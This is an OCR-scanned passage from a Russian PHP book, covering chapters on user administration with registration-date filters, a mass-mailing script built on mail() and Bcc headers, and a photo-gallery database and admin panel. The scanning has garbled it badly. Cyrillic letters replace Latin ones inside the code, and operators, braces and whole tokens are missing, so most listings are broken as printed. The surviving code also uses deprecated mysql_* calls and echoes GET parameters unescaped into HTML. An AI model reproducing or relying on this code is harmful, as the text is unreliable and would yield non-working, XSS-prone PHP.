НТМL-формы filter.php. Внешний вид гл авной страницы index.pI1p, выводящей таблицу со списком зарегистрированных пользовател ей, представлен на рис. 18.2 .
Гл ава 18. Регистрация пользователей !?Qг.Ш.RJ;I>.!.и .QI.� .�I.�! . [QJ;I@зя кн ига 6tlOK Н()ВQСПi Блок rспос:ования ПользоватеЛI' с�йта Снять фил ьтр flа�алQ; [J Ig�jfmI 2.�..!f fiI I.?.9.Q?§l Кшteц: С tQ�§]t}..� ..g) [?9. Q?,. ШI Дат реntстраЦl111 НИК E-mail Действия ttI R!]Rю.�D.9Ji§I\! I 09.11.2007 13:19 Д test@sontlme ru Ред:штv.ро вэть i ----.---- -. -.-.--f--.-.-.---------..- ____...1�'!;!J: \1� �._.__....._! БПОliИро вать i 08.11 .2007 1 8:20 rl lecps �� �т.I Уда ПflТЬ I Рис. 18.2 . Внешний вид системы админист рирования пользовател ей !i Подробная инфорr.lация - Microsoft 11Ite••• Вlfi iiНIЗ ••0 _ _ • • __ •• __• __ • _ __ _ _•__ •_____ __ _ __ •• •• • • __ ••• _ Рис. 18.3 . Вывод подробной инфор мации о зарегистр и рованном пользователе 839
840 Часть 11. Создание сайmа На гл авной странице информация о зарегистрированных пользователях вы ­ водится в виде таблицы, каждая строка которой посвящена одному пользова­ телю. Таблица содержит четы ре столбца: дату регистрации пользовател я, его имя, электронный адрес e-mail и блок управляющих ссылок, позволяющ их блокировать/разблокировать, редакти ровать и удал ять пользователя. Элек­ тронный адрес пользователя и его имя представляют собой гиперссылки. Пе­ реход по первой ссылке запускает процедуру создан ия и отп равки письма во внешней почтовой программе, а по второй - открывает подробную инфор­ мацию о пользователе в отдел ьном окне (рис. 18.3). Возвращаясь к рис. 18.2, отметим, что перед таблицей со списком пользова­ тел ей выводится НТМL-форма, позволяющая задать временной интервал для даты регистрации пользователей: выводятся только те пользовател и, дата регистрации которых попадает в указанный интервал. Причем задать можно лишь одну границу интервала (верхнюю или нижнюю). В листинге 18.9 приводится содержимое файла index.p11p, ответственного за формирование главной страницы системы управления пользователями. Листинг 18.9 . Гл авная стра ница управления пользователями. inde x.php <?рЬр // Устанавливаем соединение с базой данных requi re_once ( .. ../ ../config/config .php ") ; // Подключаем блок авториз ации require_once ( .. ../utils/security_ffio d.php .. ); // Подключаем SoftTirne FrarneWork require_once ("../ ../config/class . config . drn n .php") ; // Данные переменные определяют название страницы и подсказку $title = 'Управление пользователями '; $pageinfo = '<р сlаss=hеlр>Данная страница позволяет управлять регистрационной информацией , зарегистрированных поль зователей< /р> '; // Включаем заголовок страницы require_once ( .. ../utils/top . php .. ); // Добавить аккаунт есЬо "<а href=us radd . php ?page=$_GET [page ] titlе= ' Добавить поль зователя '> Добавить поль зователя< / а><Ьr><Ьr>" ;
Глава 18. Ре гистрация пользователей / / Выводим форму управления филь трами re qu ire_once ("filter .php ") ; $url=' i &begin_date=$_GET [begin_da te ] ". "&end_date=$_GET [end_da te ] "; $where = "WHERE 1=1"; if( !ernpty ($_GET [ 'begin_da te ' ] ) ) $where .= " AND da teregister >= '" date ( "Y-п-d H: i:s", $ GET['begin_da te ']) ."'''; if (!ernpty ( $_GET ['e nd date'])) $where " AND dateregister <= '''о date ( "Y-п-d H:i:s", $ GET['end_date' ])."'''; try // Количество ссылок в постраничной навигации $page_l ink = 3; // Количество позиций на странице $pnurnber = 10; // Объявляем объект постраничной навигации $obj = new pager_rny sql ($tbl_us ers , $where , "ORDER ВУ dat eregister DESC" , $pnurnbe r, $page_link, $url) ; // Получаем содержимое текущей страницы $users = $obj ->get-page() ; // Если имеется хотя бы одна запись - выводим ее if ( !ernpty ($users ) ) { ?> 841
842 <table width="lOO%" class=" table " borde r="O" cellpadding= "O" cellspacing="O"> <tr class="header" .a lign="center"> Часть 11. Создание са йm а <td align=center width=120>Дата регистрации</td> <td аligп=сепtе r>Ник< /td> <td аligп=сепtеr>Е-mail</td> <td align= center width=50>Действия< / td> </tr> <?php for ($i О; $i < count ($users) ; $i++) $url = "?idyos ition= {$users [$i] [id_p osition] } &page=$page {$url }"; // Выя сняем, заблокирован поль зователь или нет $colorrow = ""; if($users [$i] [ 'block ' ] 'block ' ) $blk "<а hre f=us runblock . php$url titlе= ' РаЗблокировать поль зователя '> Разблокировать </а>" ; $colorrow "class= ' hiddenrow '''; else $blk "<а href=us rbl ock . php$url titlе= ' 3аблокировать поль зователя '> Блокировать </а>" ; // Преобразуем дату регистрации list ( $date, $time ) explode (" ", $users [$i] ['dateregister ']); list ( $year , $month , $day ) exp lode ("-", $date) ; $time = substr ($time , О, 5) ; // Вьrn одим позицию echo "<tr $colorrow>
Глава 18. Регистрация пользователей 843 ?> <td align=center>$day .$month .$year $time </td> <td align= center> <а href=# onclick=\ "show_de tail ( ' us rdetail .php ? ". "idyos ition= {$users [$i] [id_p osition] } , , 400, 350) ; " "return false\">" . htmlspecialchars ($users [$i] [ 'пате' ] ) . "</a>< /p></td> <td align= center> <а href=mailto : " . html specialchars ($users [$i] [ , email ' ] ) . ">" . htm1specialchars ($users [$i] ['ет аil ' ] ) . "</a>$address_print</td> <td align=center> $blk<br> <а hrеf=us rеdit . рhр$url>Редактировать</а><Ьr> <а hre f=# onCl ick=\ "delete_user ('u srde l . php$url ',". "'Вы действительно хотите удалить поль зователя? ');\ ">Удалить </а>< /td> </tr>" ; echo "</table><br> "; } / / Выв одим ссЬUIКИ на другие страницы echo $obj ; catch ( Excepti onМySQL $ехс ) require (" ../utils / excepti on_my sql . php") ; // Включаем завершение страницы require_once (" ../utils /bottom.php" ) ; <script language= " JavaScript "> <!-- function show_de tail(url , width, he ight ) var а; var Ь; var url ; vidWindowW i dth=w idth ;
844 Часть 11. Создание сайта vidWindowHe ight=he ight i а= ( sсrееп . hеight-vidWiпdоwНе ight )/5 i Ь= ( sсrееп . width-vidWiпdоwWidth )/2i features = "top=" + а + ",left=" + Ь + ", width= " + vidWindowWidth + ",height= " + vidWindowHeight + ", t oolbar=no , menubar=no ,location=no ," + "directories=no ,scrollbars=no, resizable=no "i window .open (url , " ,features ,true) i //--> </script> - Гл авная страница формируется традиционным образом с использован и ем кл асса постраничной навигации pager_mysql (см. главу �. Отл ичитель ной особенностью в данном случае является тол ько то, что результат вывода п од­ вергается фил ьтрации при помощи условий, выставляемых адм инистрато ­ ром, через НТМL-форму временного интервала filter.php. В дополнение к традиционному GET-параметру page, передающему номер страницы в сис­ те ме постраничной навигации, НТМL-форма filter.pl1p позвол яет установить еще два GЕТ-параметра: begin_da te и end_date, которые передают времен­ ные метки в формате UNIXSTAMP (кол ичество секунд, прошедших с полу­ ночи первого января 1970 года) для начала и конца временного инте рвала соответственно. Если временные метки установлены, скрипт index.pl1p изме­ няет WНЕRЕ-усл овие SQL-запроса и передает дополнительные GET­ параметры конструктору класса постраничной нав игации page r_mysql. В листинге 18.1О приводится обработчик НТМL-формы, устанавл ивающий временные фильтры. Листи нг 18.10. Уста новка фильтро в, filterset. php <?php // Устанавливаем временной филь тр $begin = ""; if (!emp ty ( $_POST ['chk_begin' ])) $begin = mktime ($_POST ['b_da te_hour '], $_POST ['b_date_minu te ' ], О, $_POST ['b_date_month '],
� � а�в � а�1 _ 8�. _ Р _ е _ г _ u _ с _ m � р _ а� ц � u _ я _ п _ о _ л _ ь _ зо _ в _ а _ m _ е _ л _ е _ й __________________________________ 8 _ 4 _ 5 _ ?> $end = ""; $ POST ['Ь date_day '], $_POST ['b_date_ye ar ']); i f (!empty ($_POST ['chk end ' ] ) ) $end = mkt ime ($_POST ['e_date_hour '], $_POST ['e_date_minute '], О, $_POST ['e_dat e_mo nth '], $_POST ['e_date_day '], $_POST ['e_da te_year ']); $url "index . php ?page=$_GET [page ]&begin_d ate=$begin&end_date=$end" ; heade r ("Location : $url") ; При установке флажков chk_begin И chk_end при помощи функции mkt ime () формируются метки времени $begin и $end для начала и конца временного интервала соответственно. Если скрипт не получает данных этих параметров, фильтр автоматически сбрасывается . ЗА МЕЧА НИЕ Оставшаяся часть скриптов (usгa dd.php, usгbIock. php, usгdel.php, usгde­ tail.php, usгedit.php и usгunbIock.php) здесь не приводится, та к как их функ­ циональность совпадает с аналогичными скриптами в ранее рассмотрен­ ных приложениях. С полным варианто м системы адм инистрирования можно ознакомиться , обрати вшись к компакт-диску, поставляемому вместе с книгой.
ГЛАВА 19 Почто вая рассыл ка Большую часть времени, которую посетител и вашего сайта проводят в И н­ тернете , они уделяют другим саЙтам . Следо вател ьно, чтобы посетители не пропускал и интересные нововведения и акции, проводимые в рамках сайта, им необходимо время от времени напоминать о своем существовании. Дл я это го традиционно используется почтовая рассылка. ПРОЧl'!(Ш111 Контаю'ная 1:!t! !t.P�2Ш1 а ВОПРОСЫ !� QПlШJ>l ГQсте�.iШJQi1 lli! Бпок НО6Cjсrи блок 'Голосования ПОПЬЗ0ватеi1И �шir.� НаэваИl1е n.исъма t': С.одеРJI(ИЫDe ': IIj �EI?9. .!.':I ..f.1.<: :I P!.�!.'<:I... .. . . .. Пр оизведёН редиэан сайта , теперь найти наиболее часто посещаемые разделы гораздо проще . ."':< �Q , r .,. . ! j; x ! { � > . � ! c · { � l .. . .... ...... ........ .... ...... .. . . ...... .... ........ ...... . . Ш1 Разоcnа ть Рис. 19.1 . НТМL-форма для формирования названия и содержа ния почтового сообщения
� � а�в � а_ 1 _ 9 _ . _ П _ о _ ч _ m _ о _ в _ а _ я � р � а _ с _ с _ ь _ m _ к _ а____________________________________ __ __ __ 84 _ 7 _ в качестве источника электронных адресов будут испол ьзо ваться e-l11ai l из табл ицы system_users ( $tbl_users) , подробно рассмотре нной в разделе 18.1 . Так как блок представления для дан ного Web-приложения отсутствует, сразу п ерейдем к систе ме ад министрирования, которая будет состоять из сл едую­ щих файлов: LI index.pl1p -- НТМL-форма дл я формирования текста почто вого сообще­ н ия; LI sel1dmai l.php -- обработч ик для НТМL-формы il1dex.pI1p; LI success.php -- страница, сообщающая об успешной отправке почтового сообщения. На рис. 19.1 приводится внешний вид гл авной стран ицы il1dex.pI1p, HTML­ фор ма которого позволяет сформировать название и содержан ие почто вого сообщения. В листинге 19.1 приводится содержимое файла il1dex.pI1p, формирующего НТМL-форму, представленную на рис. 19.1 . Листинг 19.1 . НТМL-форма для формирования почтового сообщения <?php // Устанавливаем соединение с базой данных requi re_once (" ../ ../conf ig/config .php ") ; // Подключаем блок авторизаци и requi re_once ("../utils/securi ty_mod .php ") ; // Подключаем кл ассы формы require_once (" ../ . ./config/class . config .dmn.php ") ; try $nаше = new field_text ("name", "Название письма", true , $_POST[,nаше']); $body = new field_textarea ("body" , "Содержимое" , true , $_POST[ 'body']) ; $form = new form(array("name" => $nаше,
848 Часть 11. Создание сайта "body " => $body) , "Разослать ", "field" ); // Обработчик НТМL- формы if( ! empty ($_POST) ) { } // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $form- >check () ; if (empty ($error) ) require_once ("sendmail .php ") ; // Осуще ствляем редирект на страницу , сообщающую // об успешной отправке сообщения header ("Location : success . php" ) ; ехН(); // Начало страницы $title = "Почт овая рассылка "; $pageinfo = '<р сlаss=hеlр>Разослать сообщение подписчикам< /р> '; // Включаем заголовок страницы require_once ("../utils/ top .php" ) ; echo "<р><а href= # onClick= 'history.back () '>Назад< /а></р> "; / / Выводим сообщения об ошибках , если они имеются if ( ! empty ($error) ) foreach ($error as $err) echo "<span style=\ "color : red\ ">$err</span><br> "; } // Выводим НТМL-форму $form->print_ form () ; catch ( ExceptionObj ect $ехс ) -
� � а� в�а _ 1 _ 9_ . _ п _ о _ ч _ m _ о _ в _ а _ я � р _ а _ с _ с _ ь _ m _ к _ а________________________ _________________ 8 _ 4 _ 9_ ?> require (" ../utils/exception_obj ect .php ") ; c at ch ( ExceptionМySQL $ехс) require (" . . / ut ils/excepti onyysql .php" ) ; catch (ExceptionМernber $ехс) require (" . ./utils/except ion_mernbe r.php ") ; // Включаем завершение страницы requi re_once (" ../utils/bottom.php" ) ; НТМL-форма состоит из двух обязател ьных полей: текстового поля name для заголовка письма и тексто вой области body для текста сообщения. Обработ­ ч и к НТМL-формы размещается в файл е sendmai l.php, который подключается пр и помощи директивы require_once. После того как обработчик завершает от п р авку почтовых сообщений, пол ьзователь перенаправляется на стран ицу success.php, сообщающую об успешной отправке почтовой рассылки . В листи нге 19.2 приводится фрагмент файла sel1dmail.php, ответственного за отправку почто вых сообщений. ЗА МЕЧАНИЕ Из листинга 19.2 исключены каскадные таблицы стилей, которые исполь­ зуются д.nя оформления содержи мого письма. Полный текст файла можно найти на ко мпакт-диске, поставляемом вместе с кн игой. Листинг 19.2. Рассылка почтовых сообщений, sendmail.php < ?php $body .= "<h3> {$form->fields [пате] ->value } </h3> " ; $body . = "<div Class=main_txt>" ; $body .= n12br ( print-page ($form->fields ['body' ] ->value) )i $body "</div>< /body></html>" ;
850 Часть 11. Создание са йmа ?> $heade r = "Content- Type : text /html ; charset=koi8-r\r\n\r\n" ; // Извлекаем e -ma il подпи счиков $query = "SELECT * FROM $tbl_users GROUP ВУ emai l" ; $eшl = mysql_query ($que ry) ; if (!$eml ) throw new Except i onМySQL (mysql_error () , $query, "Ошибка при извлечении списка e-mail") ; wh ile ($ema il = my sql_fet ch_a rray ($eml) ) @mail ($ema il ['ema il '], conve rt_cyr_string ($form- >fields ['name' ] - >value , 'w' , 'k'), conve rt_cyr_string ( $body , 'w' , 'k'), $header) ; Почто вое сообщение формируется в переменной $body. Перед отправкой текст переводится в кодировку KOI8-R, с которой успешно работают боль­ шинство почтовых ретрансляторов. При этом в переменной $header форми­ руется почтовый заголовок Content-Туре, информирующий почтовый клиент, что письмо в формате HTML и закодировано в KOI8-R . ЗА МЕЧА НИЕ Следует учитывать , что при отп равке да нных в НТМL-формате дл ина тек­ ста , не разделенного последовател ьность ю \r\n, не должна быть сл ишком большой, иначе почтовый сервер вставит в текст символ восклицател ьного знака !, кото рый может исказить сообщение. Как видно из листинга 19.2, электронные адреса пол ьзовател ей извлекаются из табл ицы system_users ( $tb l_us ers) С группировкой по полю email (GROU P ВУ ema il) . Последнее необходимо для исключения повторяющихся
глава 19. Почтовая раССblлка 851 - e-mail, чтобы пользовател и, зарегистрировавшиеся с одного е-шаil ил и вы­ пол нявшие повторную регистрацию, не получали по нескол ько копий почто­ в ых сообщений. В цикле whi le ( ) для каждого из электро нных адресов вызы­ ваетСЯ функция ma il (), которая имеет сл едующий синтаксис: boo 1 ma il ($to, $subj eet , $body [,$headers ] [,$parameters ]) Эта функция принимает следующие аргументы : CI $ t o - адрес электронной п о чты получателя; CI $sub jeet - те ма сообщения; CI $me s sage - текст сообщения; CI $headers - допол н ительные заголовки, которые можно задать в сооб­ ще нии; CJ $parameters - допол н ител ьные параметры, кото рые можно задать в со- общении. Четвертый параметр - $headers позволяет формировать разл ичные почто­ в ые заголовки, позволящие управлять кодировкой, процессом доставки письма и т. п. При получении письма в качестве ад реса отправителя обычно подставляется адрес сервера. Для того чтобы избежать это го, в качестве об­ ратного адреса можно назнач ить произвольный ад рес при помощи почтового заголовка From: From : name <e-mail> В качестве паше указывается имя, которое будет отображаться кл иентским почтовым агентом как имя отправителя, а в качестве e-mail - обратный почтовый адрес. В листинге 19.2 для отп равки каждого из почтовых сообщен ий использова­ л ась функция ma il ( ) . Однако вызов это й функци и явл яется достаточно тру­ доемкой и ресурсозатратной процедуроЙ . Отправка более сотн и писем таки м способом может привести к знач ител ьной временной задержке, что может о казаться неприемлемым. В это м случае лучше прибегнуть к отправке почто­ в о го сообщения с перечислением адресато в в почтовом заголовке Се, есл и до пускается, чтобы адресаты видели, кому, помимо них, было разослано п исьмо, или в заголовке Все, если это неприемлемо. В листинге 19.3 приво­ дится модифицированный вари ант обработчика sепdшаi l.рI1Р. Л истинг 19.3 . Использование почтового заголовка Всс <?php
852 Часть 11. Создание са йmа ?> $body "<h3> {$fопn->fiеlds [пamе] ->vаluе j</h3>" i $body "<div class=rnain_txt> "i $body п12Ьr (рriпt�аgе ($fОПn->fiеlds ['ЬОdу' ] ->vа luе) )i $body "</div>< /body></html >" i $header "Content-Type : text /html i charset=koi8-r\r\n\r\n" i // Извлекаем e-rnail подписчиков $query "SELECT * FROM $tbl_users GROUP ВУ ernail" i $ernl = rny sql_que ry ($querY) i if (!$ernl) throw new Excepti onМySQL (rnysql_error () , $query, if (rnys ql_nurn_rows ($�l) ) { "Ошибка ПрИ извлечении списка e-rnail") i whi le ($ernail rnys ql fetch_a rray {$ernl} ) $heade r "Все: ".trirn($ernail['ernail' ] ) . "\r\n"i $heade r .= "\r\n" i @rnail ("sornebody@sornewhere .ru" , // E-rnail компании сопvе rt_суr_s triпg ($fопn->fiеlds ['пamе' ] ->vаluе , 'w' , 'k') , conve rt_cyr_s tring ( $body , 'w' , 'k'), $header) i
ГЛ АВА 20 Фотогалерея Лучше од ин раз увидеть, чем сто раз усл ышать ... Не секрет, что с монитора читать гораздо сложнее, чем с листа бумаги : по сей де нь одной из гл авных реком ендаций владел ьцам сайтов является использование как можно более коротких те ксто в. В таких условиях эффектные изображения могут привлечь посетителя и побудить его к более детал ьному изучение саЙта. Зачастую фо­ тогал ерея может представить ко мпанию гораздо более наглядно, чем сухое тексто вое описание. 20.1 . База данных Функционально фотогал ерея будет состоять из катал огов, в состав кото рых будут входить отдел ьные фотограф ии. Поэто му целесообразно использовать следующие три табл ицы: О system_p hoto_catalog - для хранения каталогов фотогалереи; О system_photo_pos ition -для хранения фотографий; О system_photo_s ett ings - для хранения настроек Web-приложения. Таблица system_ph oto_catalog состоит из следующих пяти полей: О id_catalog - первичный кл юч табл ицы, предназначенный для иденти­ фикации катал ога и снабженный атр ибуто м AUTO_INCREMENT, позволяю­ щим автоматически ге нерировать уникальный идентификатор для новых записей; о пате - название катал ога; О de script ion - описание катал ога;
854 Часть 11. Создание сайmа LJ hide- , - служебное поле типа ENUM, принимающее тол ько два значения : hide, если каталог скрыт и недоступен для просмотра со страниц сайта, и show, есл и каталог отображается на страницах сайта; LJ pos - позиция каталога относительно других каталогов: данное п оле предназначено для сортировки катал огов. В листинге 20. 1 приводится оператор CREATE TABLE, создающий табл ицу system_photo_catalog, которая в скриптах обозначается при помощи пере­ менной $ tbl_photo_саtalog. Листинг 20.1 . Таблица каталогов sys tem _ photo_ca tal og CREATE TAВLE system_photo_catalog ( id_catalog INT (ll) NPT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , ); de scription ТЕХТ NOT NULL , hide ENUМ ( , show ' , 'hide') NOT NULL DEFAULT 'show' , pos INT (ll) NOT NULL , PRIМARY КЕУ (id_catalog) Для хранения позиций каталога предназначена system_photo_pos ition, которая состоит из одиннадцати полей: таблица LJ id_position - первичный кл юч табл ицы, предназначенный для иденти­ фикации катал ога и снабженный атрибутом АОТО_ INCREMENT, позвол яю­ щим автоматически генерировать уникальный идентификатор для новых записей; LJ пате - название фотографии; LJ alt -текст для ALT-Tera; LJ small - путь К уменьшенной копии фотографии; LJ big - путь к полному изображению; LJ pollnumber - количество проголосовавших за данную фотографию; LJ pollma rk - суммарная оценка; это значение, разделенное на pollnumber, дает среднюю оценку фотограф ии; LJ countwatch - кол ичество просмотров увел иченной фотограф ии; LJ hide - служебное поле типа ENUM, принимающее тол ько два значения : hide, если позиция скрыта и недоступна для просмотра со страниц сайта, и show, если позиция отображается на страницах сайта;
Глава 20. Фотогалерея 855 t:J pos - позиция фотографии относител ьно других фотографий: дан ное п оле предназначено для сортировки; t:J i d_catalog вторичный ключ для связи с табл ицей systern_photo_catalog, позволяющий определить, какому каталогу при­ надлежит данная фотограф ия . Сами фотографии не хранятся в таблице systern_photo_position, так как из­ вле чение бинарных данных из таблицы создает значител ьную нагрузку на сервер по сравнению с извлечением их из каталога на жестком диске. Кроме того, СУБД My SQL проектировалась для быстрой работы с тексто вой ин­ формацией, размещаемой в сравнител ьно небольших базах дан ных, и при достижении большого размера базы дан ных ведут себя нестабильно. В табл ице хранятся два пути : к уменьшенной копии изображения srnall И К увеличенной ко пии изображе ния big. Администратор загружает тол ько уве­ личенную копию, при этом уменьшенная копия создается автоматически средствам и фотогалереи. Помимо традиционных полей, табл ица содержит поля, предназначенные дл я хранения количества просмотров ( countwatch) и результатов голосования (ро l lnшnb еr И pollrnark) . В листи нге 20.2 приводится оператор CREATE TABLE, создающий табл ицу systern_phot o_position, которая в скрип­ тах обозначается при помощи переменной $tb l_photo_position. Листинг 20.2 . Таблица systemyho toyosition CREATE TAВLE systern-photo-position ( id-position INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , ); alt TINYTEXT NOT NULL , srna ll TINYTEXT NOT NULL , big TINYTEXT NOT NULL , pollnurnber INT (ll) NOT NULL , pollrnark INT (ll) NOT NULL , countwatch INT (ll) NOT NULL , hide ENUМ ( , show ' , 'hide') NOT NULL DE FAULT 'show' , pos INT (ll) NOT NULL DEFAULT 'О', id_catalog INT (ll) NOT NULL DEFAULT 'О', PRlМARY КЕУ (id_po sition)
856 Часть /1. Создание сайmа По сравнению с другими Web-приложениями фотогалерея имеет ряд важн ых настроек: ширина и высота уменьшенной ко пии фотографии, кол ичество фо­ тограф ий в ряду. Все эти настройки индивидуальны, поэтому необход им о предоставить администратору возможность их редактирования . Дл я хране н ия таких настроек пред назначена табл ица system_photo_s ettings, кото рая со­ сто ит из трех полей: О width - ширина уменьшенной ко пии изображения; О height - высота уменьшенной копии изображения; О row - кол ичество изображений в одном ряду. В листинге 20.3 приводится оператор CREATE TAВLE, создающий табл и цу system_photo_s ettings, которая в скриптах обозначается при помощи пере­ менной $tb l_photo_s ettings . ЗА МЕЧАНИЕ Так ка к в таблице system photo settings будет лишь одна запись , дос­ ту пная дл я редактирования, она не содержит первичного ключа. Листинг 20.3 . Табл ица sys temyh oto_settings СRБАТЕ TAВLE system_p hoto_s ettings width int (ll) NOT NULL , he ight int (ll) NOT NULL , row int (ll) NOT NULL ); INSERT INTO system photo_s ettings VAL UES (150, 133 , 3) ; 20.2. С истема адм инистрирования Систе ма ад министрирования фото галереи позволяет управлять катал огам и и фото граф иями, входящими в состав каталогов. Система содержит сл едующие РНР-файлы : О il1dex.pllp - гл авная страница дл я управления катал огами фото галереи ; О catadd.pllp - НТМL-форма для добавления катал ога; О catdel.pl1p - скрипт для удаления катал ога;
Гл ава 20. Фотогалерея 857 LI саtdоwп .рhр - скрипт для перемещения катал ога на одну позицию вниз относ ительно других каталогов; LI cat edit.php - НТМL -форма для редактирования катал огов; LI catl1ide.php - скрипт дл я скрытия каталога; LI catsllOw.pi1p - скрипт для отображения каталога; LI catllp.pi1p - скрипт для перемещения катал ога на одну позицию вверх относительно других катал огов; LI pllOtOS.pl1p - страница для вы вода списка фотографий текущего катал ога; О pI1tadd.pi1p - НТМL -форма дл я добавления новой фото графии; О pl1tdel.pl1p - скрипт для удаления фотографии; О pl1tdoWI1 . pl1p - скрипт для перемещения фотограф ии на одну позицию в низ относительно других фотограф ий; О phtedit.pi1p - НТМL -форма для редакти рования параметров фото граф ии; О pl1tl1ide.php - скрипт для скрытия фотографии; О pI1 tsllOW.pi1p - скрипт для отображе ния фото граф ии; О plltllp.pl1p - скрипт для перемещения фото графии на одну позицию вверх, относ ител ьно других фотограф ий; О settil1gs . pl1p - НТМL-форма для редакти рования настроек фото галереи. ЗА МЕЧА НИЕ Кроме этого, в директории files потребуется создать поддиректорию photo, в кото рой будут храниться файлы фотогалереи . При первом обращении к странице ад министрирования Web-приложе ния за­ гружается страница управления катал огами il1dex. pl1p (рис. 20 . 1). Как видно из рис. 20 . l, дл я вывода списка фотогалерей испол ьзуется табл ица, каждая строка кото рой отводится под описание одной из них. Табл ица со­ держит три столбца: название гал ереи, описание и столбец с управляющими ссы лкам и, позволяющими скрывать/отображать, изменять позицию, редакти­ ро вать и удалять текущую фотогалерею. Назван ие галереи является гиперссылкой, кото рая ведет на стран ицу photo .pl1p, выводящую фотограф ии галереи. Около названия каждой из гале­ ре й выводится кол ичество фотографий в ней (есл и фотограф ии в галерее от­ сутст вуют, оно не выводится).
858 Jw.Ш.1J. !m! ;!,8. �,нФ"р.. ., аЦИR В опросы �, Ответы ГоcrеШ!В. .!iliШi! §iJ.9Jl liQШ! f.!\1 � Блок rОЛQсования Почтовая Р..�g;.gI.1 Ш � Назваиие ОписаНI1е Первэл галеР�А. (12) Первая галерея 8торая гал ерея Вторая галерея Часть 11. Создание сайm а 1t:!, ,!iI;� Скры ть Редаicrиро вать Ул:ашпь IЭ':Мз Вверх J:;!<ШI!Th. Реriа.mщсвать YA.9.!.1!iI!; , Вниз Рис. 20 .1 . Внешний вид гл авной страницы системы администрирования фото галереи в листинге 20.4 приводится содержимое файла index.php, ответственного за управление галереями. Листинг 20.4. Управле ние галереями, index.php < ?php // Устанавливаем соединение с базой данных require_once ("../ ../config/config .php ") ; // Подключаем блок авторизаци и require_once (". ./utils/security_mod .php" ) ; // Подключаем SoftTime FrameWork require_once (" . . / . . /config/class .config .dmn.php ") ; // Подключаем блок отображения текста в окне браузера requi re_once ("../utils/ utils . printyage .php ") ; $title = $titlepage = 'Галерея '; $pageinfo = '<р сlаss=hеlр>Здесь осуществляется управление галереями сайта</р> '; // Включаем заголовок страницы require_once (". ./utils/top .php" ) ;
(л ава 20. Фотогалерея 859 - try / / Ссылка для добавления галереи e cho "<а class==menu hrе f=саtаdd . рhр>Добавить гал ерею< /а>&nbsр ;&nb sр ; <а class==menu hrеf=sеttiпgs . рhр>НастроЙки</а><Ьr><Ьr> "; / / Выв одим список каталогов $ que ry = "SELECT * FROM $tblyhot o_catalog ORDER ВУ pos"; $ctg = rnysql_query ($query) ; Н ( !$ctg) throw new ExceptionМySQL (rnysql_error () , $query, "Ошибка при обращении к каталогу" ) ; // Выводим заголовок таблицы каталогов echo '<table width="lOO%" class="table" border=" О " cellpadding= "O" cellspacing="O"> <tr class="header" align= " center"> <td аligп=сепtеr>Название</td> <td аligп=сепtеr>Описание</td> <td width=50 аligп=сепtеr>Действия</td> </tr> ' ; while ($catalog = rnys ql_fetch_array ($ctg ) ) { $url = "id_catalog=$ catalog [ id_catalog]"; / / Выясняем, скрыт каталог или нет if ($catalog ['hide' ] == 'hide' ) { $strhide = "<а hrеf=саtshоw .рhр ?$url>ОТОбразить</а>"; $style=" class=hiddenrow ";
860 Часть 110 Создание сайта else $strhide = "<а href=cathide ophp ?$url>CKpblTb</a>"; $style=" "; // Извлекаем количество фотографий в разделе $query = "SELECT COUNT ( *) FROM $tbl_photoyosition WHERE id_catalog = $catalog [ id_catalog ]"; $cnt = my sql_que ry ( $query) ; if (!$cnt ) throw new Excepti onМySQL (mys ql_e rror () , $query, "Ошибка извлечения количе ства изображений" ) ; $total = my sql result ($cnt , О) ; if ( $total ) $total = "&nb sp; ($t otal) "; else $total = ""; // Выв одим список каталогов echo "<tr $style > <td><a hre f=photos o php ? id_catalog=$ catalog [id catalog]> $catalog [naтe] $total</td> <td> " on12br (pr intyage ($catalog [ 'пате ' ] ) ) о "</td> <td> <а href=catup ophp ?$url>BBepx< /a><br> $strhide<br> <а hrеf=саtеdit о рhр?$url>Редактировать</а><Ьr> <а href=# onClick=\"delete_catalog ('catdel o php?$url ',"o "'Вы действитель н� хотите удалить раздел ? ') ;\">Удалить</а><Ьr> <а hrеf=саtdоwn орhр ?$url >Вниз</а><Ьr></td> </tr>" ; echo "</table><br> ";
Гл а ва 20. Фотогалерея 861 ?> catch ( ExceptionМySQL $ехс ) require ( .. ../utils/exception�ysql . php .. ); // Включаем завершение страницы requi re_once ("../utils /bottom.php ") i Информация о галереях из табл ицы system_ photo_ catalog извлекается при п омощи SQL-запроса: SELECT * FROM $tb l_photo_catalog ORDER ВУ pos Конструкция ORDER ВУ обеспечивает сортировку гал ерей по пол ю pos . Поля текущей записи извлекаются функцией mys ql_fetch_array () И п омещаются в массив $catalog до тех пор, пока не дости гается конец резул ьти рующей табл ицы . Цикл whi le формирует НТМL-таблицу, представл енную на рис . 20. 1 - по одной строке за итерацию. Для выяснения, скол ько фотографий содержит галерея, на каждой итерации цикла осуществляется дополнительный SЕLЕСТ-запрос к табл ице system_ photo_position, который использует MySQL-функцию COUNT () : SELECT COUNT (*) FROM $tbl-photo_po sition WHERE id_catalog = $catalog [ id_catalog ] Если полученное значение $total больше нуля, оно выводится справа от на­ звания галереи. При формировании управляющих ссылок добавляется GET­ параметр id_ catalog, передающий значение первичного кл юча галереи. ЗА МЕЧА НИЕ Скрипты catadd.php, catedit.php, cathide.php, catshow.php, catup.php и catdown .php, ответственные за добавление, редакти рование, сокрытие ото­ бражений и изменение позиции галереи, в данной книге не рассматр ивают­ ся , так как их код аналогичен коду ранее рассмотренных приложен ий. Пол ­ ностью код доступен на ко мпакт-диске, поста вляемом вместе с кн игой. в листинге 20.5 приводится содержимое файла catdel .pllp, ответственного за удаление галереи, который, как и все остальные управляющие скрипты , при­ нимает GЕТ-параметр id_catalog (первичный ключ удаляемой гал ереи).
